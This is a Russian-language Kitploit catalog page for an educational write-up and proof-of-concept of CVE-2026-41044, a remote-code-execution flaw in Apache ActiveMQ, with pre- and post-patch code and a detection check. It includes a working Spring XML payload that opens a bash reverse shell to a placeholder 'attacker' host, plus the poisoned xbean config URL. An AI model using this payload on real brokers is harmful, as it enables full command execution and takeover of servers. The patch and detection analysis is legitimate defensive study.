Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-41044 — Учебное руководство и proof-of-concept для CVE-2026-41044, RCE-уязвимости в Apache ActiveMQ, с анализом первопричины и скриптом обнаружения. | Kitploit
Инструменты/GitHubGitHub/mrillicit/cve-2026-41044
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubmrillicit/cve-2026-41044

CVE-2026-41044

Учебное руководство и proof-of-concept для CVE-2026-41044, RCE-уязвимости в Apache ActiveMQ, с анализом первопричины и скриптом обнаружения.

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-41044

Примечание: Только в образовательных целях

От бюллетеня до RCA за один день: как ИИ ускоряет анализ N-day уязвимостей

Краткий и честный разбор CVE-2026-41044 в Apache ActiveMQ с использованием точного кода до и после патча.


CVE-2026-41044 была раскрыта 24 апреля 2026 года. Это ошибка удалённого выполнения кода в Apache ActiveMQ Classic, обнаруженная jsjcw, исправленная в версиях 5.19.6 и 6.2.5. Я её не находил.

Что я хочу показать — как человек, который никогда раньше не работал с ActiveMQ, может за один день создать рабочий эксплойт для N-day уязвимости, потому что пропатченный код публичен, непропатченный код публичен, а разница между ними — это один git diff.


Часть 1: Рабочий процесс

Процесс прост:

  1. Прочитайте бюллетень, отметьте затронутые файлы, CWE и любые упомянутые имена функций.
  • Сравните последнюю уязвимую версию и первую пропатченную версию бок о бок.
  • Попросите модель сделать diff соответствующих файлов и объяснить каждое изменение.
  • Воспроизведите цепочку в локальной лаборатории и протестируйте от начала до конца.
  • То, что раньше занимало дни, теперь занимает один день. ИИ не находит ошибки. Он читает код и объясняет его так быстро, как вы задаёте вопросы. Самая затратная часть по-прежнему за вами: решить, что действительно эксплуатируемо, где настоящие границы доверия, что требует проверки. Модель просто проходит по графам вызовов быстрее, чем любой человек.

    Более важный момент: если ваш процесс патчинга предполагает неделю анализа на каждую CVE, вы живёте по старому таймлайну. git diff одинаков по длине, пишете ли вы детектирование или эксплойты.


    Часть 2: CVE-2026-41044

    Что такое ActiveMQ?

    ActiveMQ — это брокер сообщений. Он находится в середине и передаёт сообщения между приложениями. Представьте его как почтовое отделение: приложения сдают сообщения, ActiveMQ доставляет их нужному получателю. Он широко используется в корпоративных Java-стеках и предоставляет веб-консоль и REST API управления под названием Jolokia по адресу /api/jolokia/. Учётные данные по умолчанию во многих развёртываниях до сих пор admin:admin.


    Уязвимость в одном предложении

    ActiveMQ позволял любому аутентифицированному пользователю загрузить конфигурацию брокера с произвольного HTTP URL, которую Spring парсил и немедленно выполнял как Java-объекты — включая ProcessBuilder — что давало атакующему полное выполнение OS-команд на сервере брокера.


    Предыстория: термины, которые вам нужны

    • Broker: работающий сервер ActiveMQ. Идентифицируется именем, по умолчанию localhost.
    • Jolokia: HTTP-to-JMX мост по адресу /api/jolokia/, который предоставляет операции управления как REST API. До него может добраться любой действительный учётный данные веб-консоли — не только admin.
    • Транспорт vm://: внутрипроцессный транспорт, используемый, когда клиент находится в той же JVM, что и брокер. Он принимает параметр запроса ?brokerConfig=, указывающий на Spring XML конфиг для загрузки брокера.
    • xbean:: схема URL, которая говорит ActiveMQ обрабатывать URL как Spring XML конфиг и загружать его.
    • Spring beans / init-method: Spring читает XML и автоматически создаёт Java-объекты (бины). Атрибут init-method говорит Spring вызвать метод бина в момент его создания — до выполнения чего-либо ещё.
    • ProcessBuilder: стандартный Java-класс, который выполняет OS-команды. ProcessBuilder.start() запускает команду.

    Цепочка: пять слоёв, реальный код

    Слой 1 — DestinationView строит URL конкатенацией строк

    DestinationView.sendTextMessage() в версии 5.19.2 строит URL подключения к брокеру, напрямую конкатенируя имя брокера в строку:

    root@kitploit:~
    // 5.19.2 - DestinationView.sendTextMessage()
    String brokerUrl = "vm://" + broker.getBrokerName();
    ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
    

    Если getBrokerName() возвращает localhost?brokerConfig=xbean:http://attacker/poison.xml, вся эта строка становится валидным URI vm:// со встроенным параметром запроса. ActiveMQConnectionFactory передаёт его в VMTransportFactory, который извлекает параметр brokerConfig и использует его как URL конфигурации загрузки брокера.

    Исправление в 5.19.6 — одна строка:

    root@kitploit:~
    // 5.19.6 - DestinationView.sendTextMessage()
    URI brokerUrl = broker.getVmConnectorURI();
    

    String становится URI — случайная конкатенация больше невозможна. Значение берётся из предварительно созданного, неизменяемого объекта URI, полученного из фактически зарегистрированного VM-коннектора брокера, а не из изменяемой строки имени.


    Слой 2 — Точка отравления в RegionBroker

    Чтобы Слой 1 был эксплуатируемым, имя брокера сначала должно быть отравлено. BrokerService всегда санировал имена брокеров:

    root@kitploit:~
    // BrokerService.setBrokerName() - присутствует в ОБЕИХ версиях
    private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
    brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
    

    Это регулярное выражение чисто удаляет ? и =. CVE существовала потому, что у RegionBroker был свой отдельный сеттер, который этого не делал:

    root@kitploit:~
    // 5.19.2 - RegionBroker.java
    private String brokerName;           // изменяемый
    
    public void setBrokerName(String brokerName) {
        this.brokerName = brokerName;    // вообще без валидации
    }
    

    Это классический confused deputy — два сеттера в связанных классах, и только один из них санирует. Удалённый пир, транслирующий сфабрикованный пакет BrokerInfo с отравленным полем имени, напрямую достигает RegionBroker.setBrokerName(), полностью обходя регулярное выражение BrokerService.

    Исправление в 5.19.6 удаляет сеттер, делает поле final и инициализирует его один раз из уже санированного родителя:

    root@kitploit:~
    // 5.19.6 - RegionBroker.java
    private final String brokerName;     // неизменяемый
    
    public RegionBroker(BrokerService brokerService, ...) {
        this.brokerName = Objects.requireNonNull(
            brokerService.getBrokerName(), "The broker name cannot be null");
        // setBrokerName() удалён. Сеттера больше нет.
    }
    

    Нельзя обойти санитайзер, у которого нет параллельного писателя.


    Слой 3 — VMTransportFactory: намеренно не изменён

    VMTransportFactory.doCompositeConnect() — это функция, которая принимает URI vm://...?brokerConfig=..., извлекает параметр brokerConfig и вызывает BrokerFactory.createBroker(brokerURI). Это механизм запуска всей цепочки.

    Apache не изменил здесь ровно ничего.

    Этот выбор говорит вам кое-что о том, как они думали об исправлении. VMTransportFactory выполняет легитимную работу — транспорт vm:// действительно должен принимать конфигурации загрузки. Патчить его сломало бы задуманный дизайн. Вместо этого Apache исправил ошибку в источнике (Слой 2: отравленное имя не может быть записано) и в приёмнике (Слой 5: даже если отравленный URL прошёл, резолвер ресурсов его не загрузит).

    Исправляйте слои, где должна быть валидация, а не слой, через который атакующий случайно прошёл.


    Слой 4 — XBeanBrokerFactory передаёт URI в Spring

    root@kitploit:~
    // XBeanBrokerFactory - одинаково в обеих версиях
    protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
        Resource resource = Utils.resourceFromString(uri);   // Слой 5
        return new ResourceXmlApplicationContext(resource) { ... };
    }
    

    ResourceXmlApplicationContext(resource) — это место, где Spring делает своё дело — каждый init-method бина выполняется при создании контекста, до того как BrokerService ActiveMQ вообще проверит результат. Здесь нечего патчить. Контракт Spring корректен по дизайну. Ошибка заключалась в том, что ActiveMQ полагался на валидацию до инстанцирования, а Spring не обещает такого порядка.


    Слой 5 — Utils.resourceFromString: фактическое примитивное исправление

    Это функция, которая решала, следует ли загружать xbean:http://attacker/poison.xml. В 5.19.2:

    root@kitploit:~
    // 5.19.2 - Utils.java
    public static Resource resourceFromString(String uri) throws MalformedURLException {
        if (new File(uri).exists()) {
            return new FileSystemResource(uri);
        } else if (ResourceUtils.isUrl(uri)) {
            return new UrlResource(ResourceUtils.getURL(uri));  // http? ftp? jar? без проверки.
        } else {
            return new ClassPathResource(uri);
        }
    }
    

    Нет фильтра протоколов. http://, https://, ftp://, jar:// — всё принимается молча.

    Исправление в 5.19.6 добавляет явный список разрешённых. По умолчанию разрешены только file и classpath. Всё остальное выбрасывает исключение до того, как UrlResource вообще будет создан:

    root@kitploit:~
    // 5.19.6 - Utils.java
    public static final String FILE_PROTOCOL      = "file";
    public static final String CLASSPATH_PROTOCOL = "classpath";
    
    public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
            throws MalformedURLException {
        // ...
        } else if (ResourceUtils.isUrl(uri)) {
            validateUrlAllowed(uri, allowedProtocols);           // выбрасывает исключение для http/https/etc
            resource = new UrlResource(ResourceUtils.getURL(uri));
        }
    }
    
    static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
            throws URISyntaxException {
        if (allowedProtocols != null) {
            final String detectedProtocol = getProtocolFromScheme(uriString);
            if (!allowedProtocols.contains(detectedProtocol)) {
                throw new IllegalArgumentException("URL [" + uriString +
                        "] uses protocol '" + detectedProtocol + "' which is not allowed");
            }
        }
    }
    

    XBeanBrokerFactory теперь передаёт {file, classpath} как список разрешённых. Даже если отравленное имя брокера каким-то образом достигнет этой функции в будущей версии, http://attacker/poison.xml выбросит исключение до того, как Spring его увидит.


    Как выглядит полезная нагрузка эксплойта

    root@kitploit:~
    <beans xmlns="http://www.springframework.org/schema/beans" ...>
      <bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>/bin/sh</value>
            <value>-c</value>
            <value>bash -i &gt;&amp; /dev/tcp/attacker/4444 0&gt;&amp;1</value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    

    В момент, когда Spring создаёт ApplicationContext, init-method="start" срабатывает на бине ProcessBuilder. Валидация BrokerService.start() ActiveMQ выполняется после. К тому времени шелл уже подключился обратно.


    О PoC и двух путях

    Есть два способа достичь уязвимого приёмника Utils.resourceFromString:

    Полный производственный путь (как описано в бюллетене):

    root@kitploit:~
    Удалённый пир отправляет сфабрикованный пакет BrokerInfo
      -> RegionBroker.setBrokerName() сохраняет отравленное имя без валидации
        -> DestinationView.sendTextMessage() конкатенирует его в URL vm://
          -> VMTransportFactory извлекает параметр brokerConfig
            -> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
    

    Короткий путь (что использует poc.sh):

    root@kitploit:~
    BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
      -> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
    

    PoC использует короткий путь по практической причине: полный путь требует настройки второго брокера ActiveMQ как сетевого пира, который отправляет сфабрикованный пакет BrokerInfo на цель — взаимодействие брокер-к-брокеру, требующее более сложной лабораторной настройки. Короткий путь работает с одним брокером и базовым HTTP-сервером.

    Оба пути попадают в один и тот же уязвимый примитив. PoC подтверждает, что приёмник эксплуатируем и CVE присутствует на цели. Если вы хотите воспроизвести точную точку входа, описанную в бюллетене, вам нужно добавить шаг брокер-к-брокеру.


    Детектирование

    PoC по умолчанию работает в режиме только детектирования. Он проверяет два сигнала:

    Проверка баннера — читает BrokerVersion через Jolokia:

    • < 5.19.6 или 6.0.0 - 6.2.4 = уязвимый диапазон

    Поведенческая проверка — вызывает addNetworkConnector("vm://probe") через Jolokia:

    • Пропатченная (5.19.6+) возвращает: Transport scheme 'vm' is not allowed
    • Уязвимая возвращает IOException DiscoveryAgent scheme NOT recognized

    Отказ на пропатченной версии исходит из BrokerView.validateAllowedUrl() — отдельного списка запрещённых, добавленного непосредственно в JMX-операцию addNetworkConnector в 5.19.6, а не из Utils.resourceFromString. Это два независимых исправления: одно защищает поверхность управления JMX, другое защищает примитив загрузки ресурсов, описанный в Слое 5. Поведенческий зонд проверяет первое.


    Исправление вкратце

    СлойУязвимая (5.19.2)Исправленная (5.19.6)
    DestinationViewконкатенация строк "vm://" + brokerNameнеизменяемый URI broker.getVmConnectorURI()
    RegionBrokerизменяемое поле, несанированный сеттерполе final, сеттер удалён, инициализация из санированного родителя
    VMTransportFactoryбез измененийбез изменений (по дизайну)
    XBeanBrokerFactoryвызывает Utils.resourceFromString(uri)вызывает Utils.resourceFromString(uri, allowedProtocols)
    Utils.resourceFromStringзагружает любую схему URLприменяется список разрешённых — по умолчанию только file и classpath

    Ссылки и благодарности

    • Бюллетень Apache: CVE-2026-41044
    • Исправлено в ActiveMQ Classic 5.19.6 и 6.2.5
    • Обнаружение уязвимости: jsjcw
    • Связанная CVE для контекста: CVE-2026-34197 (Horizon3.ai)
    • Код в этом посте проверен непосредственно из исходных деревьев 5.19.2 и 5.19.6
    • Под руководством Varshit Modi, создано с помощью ИИ.
    Скачать инструмент